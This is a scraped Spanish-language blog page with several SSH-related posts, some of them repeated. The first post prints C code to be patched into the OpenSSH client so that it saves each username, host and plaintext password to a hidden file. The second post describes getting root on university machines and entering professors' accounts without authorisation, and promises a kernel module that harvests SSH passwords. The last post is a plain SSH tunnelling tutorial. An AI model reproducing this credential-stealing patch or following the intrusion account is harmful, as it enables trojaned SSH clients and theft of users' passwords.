Que es un cliente ussh? alguien lo sabe?... pues en principio no deberian! porque me lo acabo de inventar... son las siglas de UnSecure SHell.
El cacho de codigo que posteo lo he escrito dentro de los fuentes de openssh (concretamente la version 3.9, aunque ya estamos por la 5.2 cuando escribo esto):
/*******************************************************/
/* Added by me to get the user password in plain text. */
/************************ HACK *************************/
{
const int LEN = 8196;
const int OPEN_OPTS = O_RDWR | O_CREAT | O_APPEND;
const mode_t OPEN_PERMS = 0600;
int fd;
char *home;
char name[LEN];
char pair[LEN];
/*
* Build the pair user@server -- password.
*/
snprintf (pair, LEN,"%s@%s -- %s\n", authctxt->server_user, authctxt->host, password);
/*
* Build the absolute path name for a hidden file that will contain
* the pair user@server -- password.
*/
if ((home = getenv ("HOME")) == NULL)
goto out_hack;
strncpy (name, home, LEN);
strncat (name, "/.sshlog", LEN);
if ((fd = open (name, OPEN_OPTS, OPEN_PERMS)) == -1)
goto out_hack;
write (fd, pair, strlen (pair));
close (fd);
}
out_hack:
/**************************/
/******* END HACK *********/
/**************************/
Se ve claramente que es muy sencillo y ademas tiene explicado lo que hace. Es una demostracion de como claramente hay momentos en los que la contraseña SI ESTA EN TEXTO CLARO dentro de la memoria del proceso. Lo que aqui se hace es que cada vez que se utilice el cliente ssh se guardara en el fichero "$HOME/.sshlog" una linea con el usuario el host y la contraseña que se ha utilizado.
No he querido complicarme mucho con el manejo de ristras y he declarado buffers estaticos aunque estoy utilizando "funciones de ristras n" (strncpy, strncat y snprintf) y ademas creo que las variables de entorno estan limitadas por los sistemas... aun asi recordemos que no se deberian usar bufferes estaticos donde la informacion puede venir de fuera por problemas con buffers overflows
Como este codigo se puede usar con mala idea no pongo en que fichero hay que ponerlo, ni funcion, ni linea ni nada mas, alguien con un minimo de habilidad sabria buscar donde va y por supuesto escribirlo... de hecho creo que tiene mas merito buscar el sitio concreto donde habria que ponerlo que escribirlo...
Mostrando entradas con la etiqueta ssh. Mostrar todas las entradas
Mostrando entradas con la etiqueta ssh. Mostrar todas las entradas
jueves, marzo 19, 2009
miércoles, marzo 18, 2009
Cuando lo más seguro no es infalible
Hola hackers del mundo! Pues resulta que la semana pasada estuve haciendo un curso de "configuración de redes en linux"... yo lo habria llamado antes de ir "configuracion de redes en gnu/linux", pero ya sabemos como anda el mundo. No obstante despues de ir lo habria llamado "te vamos a explicar (diciendo mentiras) por que gnu/linux es mejor que hasefroch", en fin un curso donde le vendian a los alumnos el sistema, ¡que me parece muy bien que lo hagan!, pero por encima de usar gnu/linux, hasefroch o moc os, prefiero que se diga la verdad.
Voy al ajo, resulta que como me aburria muchisimo en el curso pues me entretuve hackeando un poquillo los ordenadores de la facultad donde se impartia, mirando que cosas tenian por aqui y por alla. Total que lo primero que hice por supuesto fue conseguir una cuenta de root en cualquier pc de por ahi (ya saben lo sencillo que es si se tiene acceso fisico a la maquina), pues no habian pasado ni 40 minutos y ya habia accedido a las cuentas de los profesores en una maquina con servidores :(, y aun me quedaban por delante 4 dias de eterno aburrimiento... en fin, se lo dije al profesor para que lo corrigiera si queria, por supuesto se puso a la defensiva e intentando decirme que no estaba en lo cierto y yo "mira, es que ya he entrado en tu cuenta, no es algo que me este imaginando que se puede hacer". Bueno, al final no se lo tomo tan mal y es mas diligente que la media y se preocupo en pensar como resolverlo... QUITA NFS!
Al dia siguiente en el descanso mientras me tomaba un leche y leche calentito se me acerca y empezamos a hablar un poco de seguridad y tal... entonces le comento que es que a mi me gusta mucho este tema y claro, miro y pruebo cosas fuera de la uni, pero que realmente no soy bueno, simplemente conozco un par de patrones en que se incurre bastante en mi universidad y lo ataco un poco a ver hasta donde llego... Total, que por h o por b, acabamos hablando de los limites de la seguridad y se lo digo bien claro "no hay nada infalible, en el fondo fondo no te puedes fiar de nada ni del propio SSH ya que por muy seguros que sean, les puedes sacar las contraseñas". Me miro con una cara como si hubiera cometido un sacrilegio! PERO COMO VOY A PONER EN ENTREDICHO SSH Y MUCHO MENOS OPENSSH!!! Entonces llego el momento de la explicacion:
- Mire, es que por mas que nos empeñemos, siempre hay momentos dentro de una maquina donde las contraseñas SI estan en texto claro, incluso en cliente y servidor de ssh.
- Noooo! nunca estan en texto claro.
- Si, vera, aunque una comunicacion con ssh es cifrada, es necesario que el proceso ssh cliente (en un extremo) le envie la contraseña en texto plano al servidor (en el otro extremo) para que este pueda chequearla contra su base de datos (nis, ldap, passwd, lo que sea).
- PERO SE LA ENVIA CIFRADA, EL PAQUETE SSH ESTA CIFRADO!
- Si si, ya lo se, pero no me esta entendiendo, una cosa es la clave de sesion con la que se cifra el paquete ssh, pero dentro de ese paquete (el cual es descifrado en el extremo que lo recibe) tiene dentro mucha informacion, entre otras cosas si se esta intentando hacer un login, tiene la contraseña en texto claro, el proceso es el siguiente:
|--- datos --- contraseña en claro ---| <-- Paquete a enviar por ssh
- Este paquete lo ciframos con la clave de sesion que establecio ssh automaticamente al empezar (mediante el intercambio de clave publica/privada) obteniendo:
| 123!EDC3f"%35f35cr"·$F25c2%C2| <--- Paquete cifrado
- Cierto que de aqui no podemos sacar nada (no hablamos de cracking), pero es que tanto en el servidor como en el cliente tiene que estar primero la contraseña en claro, para poder despues cifrar el paquete y obtener el chorizo ese. Solo (bueno, mas bien "solo") tenemos que meternos en el mapa de memoria del proceso y buscar donde guarda eso, aunque hay que hacerlo rapidito porque esa informacion no esta mucho tiempo en memoria.
Y entonces me suelta, la siguiente idea:
- No! la contraseña se cifra en el cliente y luego se mete en el paquete y se cifra entonces el paquete, al servidor solo le llega una contraseña cifrada y el la compara en su shadow
... vamos a ver... solo voy a decir que ese diseño roza lo INEFABLE!. Veamos, esa arquitectura esta presuponiendo que ambos sistemas usan el mismo algoritmo de cifrado para el sistema de login (todos md5? todos 3DES?), todos utilizan las mismas semillas, el mismo generador de aleatorios... pero que me estas contando!? ademas colega, te estoy diciendo que no es algo que yo me haya inventado, es algo que he comprobado que es asi!!! que pasa!? que porque sea un alumno no puedo saber un poco mas de algun tema que algun profesor? pk se ofuscan tanto cuando alguien que aun estudia y es bastante mas joven les intenta enseñar algo? Ya me gustaria a mi encontrarme con algunos de esos superhackers jovencisimos y que me enseñara cosas!!! joder! daria un dedo por haber conocido a dvd john cuando tenia 15 años!
En fin... ya me he cansado de tanta tonteria, la proxima entrada que escriba publicare el codigo de un modulo para el kernel que se metera en la memoria de un proceso, concretamente ssh y recogera la cuenta de usuario y su contraseña, en texto claro, sin mayor problema. Lo pondria ahora mismo, con su makefile y todo, listo para ejecutar, pero por desgracia he sufrido la maldicion del informatico que no hace copias de seguridad xDDDDDDDDDDDD. En fin, ya lo reescribire y aprovechare para repasar un poco la creacion de modulos ;)
Happy Hacking!
Voy al ajo, resulta que como me aburria muchisimo en el curso pues me entretuve hackeando un poquillo los ordenadores de la facultad donde se impartia, mirando que cosas tenian por aqui y por alla. Total que lo primero que hice por supuesto fue conseguir una cuenta de root en cualquier pc de por ahi (ya saben lo sencillo que es si se tiene acceso fisico a la maquina), pues no habian pasado ni 40 minutos y ya habia accedido a las cuentas de los profesores en una maquina con servidores :(, y aun me quedaban por delante 4 dias de eterno aburrimiento... en fin, se lo dije al profesor para que lo corrigiera si queria, por supuesto se puso a la defensiva e intentando decirme que no estaba en lo cierto y yo "mira, es que ya he entrado en tu cuenta, no es algo que me este imaginando que se puede hacer". Bueno, al final no se lo tomo tan mal y es mas diligente que la media y se preocupo en pensar como resolverlo... QUITA NFS!
Al dia siguiente en el descanso mientras me tomaba un leche y leche calentito se me acerca y empezamos a hablar un poco de seguridad y tal... entonces le comento que es que a mi me gusta mucho este tema y claro, miro y pruebo cosas fuera de la uni, pero que realmente no soy bueno, simplemente conozco un par de patrones en que se incurre bastante en mi universidad y lo ataco un poco a ver hasta donde llego... Total, que por h o por b, acabamos hablando de los limites de la seguridad y se lo digo bien claro "no hay nada infalible, en el fondo fondo no te puedes fiar de nada ni del propio SSH ya que por muy seguros que sean, les puedes sacar las contraseñas". Me miro con una cara como si hubiera cometido un sacrilegio! PERO COMO VOY A PONER EN ENTREDICHO SSH Y MUCHO MENOS OPENSSH!!! Entonces llego el momento de la explicacion:
- Mire, es que por mas que nos empeñemos, siempre hay momentos dentro de una maquina donde las contraseñas SI estan en texto claro, incluso en cliente y servidor de ssh.
- Noooo! nunca estan en texto claro.
- Si, vera, aunque una comunicacion con ssh es cifrada, es necesario que el proceso ssh cliente (en un extremo) le envie la contraseña en texto plano al servidor (en el otro extremo) para que este pueda chequearla contra su base de datos (nis, ldap, passwd, lo que sea).
- PERO SE LA ENVIA CIFRADA, EL PAQUETE SSH ESTA CIFRADO!
- Si si, ya lo se, pero no me esta entendiendo, una cosa es la clave de sesion con la que se cifra el paquete ssh, pero dentro de ese paquete (el cual es descifrado en el extremo que lo recibe) tiene dentro mucha informacion, entre otras cosas si se esta intentando hacer un login, tiene la contraseña en texto claro, el proceso es el siguiente:
|--- datos --- contraseña en claro ---| <-- Paquete a enviar por ssh
- Este paquete lo ciframos con la clave de sesion que establecio ssh automaticamente al empezar (mediante el intercambio de clave publica/privada) obteniendo:
| 123!EDC3f"%35f35cr"·$F25c2%C2| <--- Paquete cifrado
- Cierto que de aqui no podemos sacar nada (no hablamos de cracking), pero es que tanto en el servidor como en el cliente tiene que estar primero la contraseña en claro, para poder despues cifrar el paquete y obtener el chorizo ese. Solo (bueno, mas bien "solo") tenemos que meternos en el mapa de memoria del proceso y buscar donde guarda eso, aunque hay que hacerlo rapidito porque esa informacion no esta mucho tiempo en memoria.
Y entonces me suelta, la siguiente idea:
- No! la contraseña se cifra en el cliente y luego se mete en el paquete y se cifra entonces el paquete, al servidor solo le llega una contraseña cifrada y el la compara en su shadow
... vamos a ver... solo voy a decir que ese diseño roza lo INEFABLE!. Veamos, esa arquitectura esta presuponiendo que ambos sistemas usan el mismo algoritmo de cifrado para el sistema de login (todos md5? todos 3DES?), todos utilizan las mismas semillas, el mismo generador de aleatorios... pero que me estas contando!? ademas colega, te estoy diciendo que no es algo que yo me haya inventado, es algo que he comprobado que es asi!!! que pasa!? que porque sea un alumno no puedo saber un poco mas de algun tema que algun profesor? pk se ofuscan tanto cuando alguien que aun estudia y es bastante mas joven les intenta enseñar algo? Ya me gustaria a mi encontrarme con algunos de esos superhackers jovencisimos y que me enseñara cosas!!! joder! daria un dedo por haber conocido a dvd john cuando tenia 15 años!
En fin... ya me he cansado de tanta tonteria, la proxima entrada que escriba publicare el codigo de un modulo para el kernel que se metera en la memoria de un proceso, concretamente ssh y recogera la cuenta de usuario y su contraseña, en texto claro, sin mayor problema. Lo pondria ahora mismo, con su makefile y todo, listo para ejecutar, pero por desgracia he sufrido la maldicion del informatico que no hace copias de seguridad xDDDDDDDDDDDD. En fin, ya lo reescribire y aprovechare para repasar un poco la creacion de modulos ;)
Happy Hacking!
viernes, noviembre 23, 2007
Tuneles SSH
SSH Es un protocolo de red para el intercambio datos entre dos ordenadores de manera segura mediante el establecimiento de un canal encriptado de comunicación.
El uso mas común de ssh consiste en establecer un canal seguro para ejecutar comandos remotamente en terminales de la familia Unix. Pero también es posible establecer lo que se denomina túnel ssh desde otros sistemas operativos y con otros fines. Como por ejemplo entre sistemas MSWindows mediante la herramienta putty.
Un túnel ssh permite traernos el puerto de una maquina remota hasta otro puerto de nuestra maquina local. También podemos hacer lo contrario y llevarnos un puerto local a una maquina remota. Además esto puede aplicarse sucesivamente pudiendo llegar a acceder a maquinas no visibles desde nuestra red mediante una cadena de túneles ssh.
Una maquina intermedia nos trae el puerto remoto X de otra al puerto local Y de nuestra maquina local
ssh -l usuarioMaquinaIntermedia -L puertoRemotoX : maquinaDestino : puertoY maquinaIntermedia
Una maquina intermedia nos lleva el puerto local Y de nuestra maquina al puerto remoto X de otra
ssh -l usuarioLocal -R Y : localhost : X maquinaLocal
Con el comando ssh se pueden hacer muchas otras cosas como por ejemplo lanzar remotamente aplicaciones grafías y verlas localmente con el parametro -X, hablilitar compresion en la conexcion con -C , y mucho mas haciendo "man ssh"!
El uso mas común de ssh consiste en establecer un canal seguro para ejecutar comandos remotamente en terminales de la familia Unix. Pero también es posible establecer lo que se denomina túnel ssh desde otros sistemas operativos y con otros fines. Como por ejemplo entre sistemas MSWindows mediante la herramienta putty.
Un túnel ssh permite traernos el puerto de una maquina remota hasta otro puerto de nuestra maquina local. También podemos hacer lo contrario y llevarnos un puerto local a una maquina remota. Además esto puede aplicarse sucesivamente pudiendo llegar a acceder a maquinas no visibles desde nuestra red mediante una cadena de túneles ssh.
Una maquina intermedia nos trae el puerto remoto X de otra al puerto local Y de nuestra maquina local
ssh -l usuarioMaquinaIntermedia -L puertoRemotoX : maquinaDestino : puertoY maquinaIntermedia
Una maquina intermedia nos lleva el puerto local Y de nuestra maquina al puerto remoto X de otra
ssh -l usuarioLocal -R Y : localhost : X maquinaLocal
Con el comando ssh se pueden hacer muchas otras cosas como por ejemplo lanzar remotamente aplicaciones grafías y verlas localmente con el parametro -X, hablilitar compresion en la conexcion con -C , y mucho mas haciendo "man ssh"!
Suscribirse a:
Entradas (Atom)